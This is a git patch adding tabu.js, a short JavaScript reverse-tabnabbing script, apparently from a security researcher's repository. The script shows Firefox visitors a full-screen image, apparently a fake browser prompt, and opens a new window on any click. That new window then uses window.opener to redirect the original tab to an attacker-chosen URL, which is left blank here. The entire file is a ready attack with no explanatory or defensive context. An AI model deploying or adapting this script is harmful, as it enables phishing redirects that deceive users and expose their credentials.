From 8e7cfebb8e08115cfea4700c7fa2802ac2d77df5 Mon Sep 17 00:00:00 2001 From: witchdocsec <107813117+witchdocsec@users.noreply.github.com> Date: Wed, 2 Nov 2022 09:13:50 +0000 Subject: [PATCH] Create tabu.js --- tabu.js | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 tabu.js diff --git a/tabu.js b/tabu.js new file mode 100644 index 0000000..5fa8566 --- /dev/null +++ b/tabu.js @@ -0,0 +1,17 @@ +url=""; +imgsrc="ffox.svg"; +if (window.location.hash == "#1") { + window.opener.location = url; +} else{ +if(navigator.userAgent.toLowerCase().indexOf('firefox') > -1){ + image=document.createElement("img"); + image.src=imgsrc; + image.width=900; + image.style="margin: 0;position: absolute;top: 50%; left: 50%;-ms-transform: translateY(-50%);transform: translate(-50%, -50%);"; + document.body.appendChild(image); +} +document.addEventListener("click", pop); +function pop() { +window.open("#1"); +} +}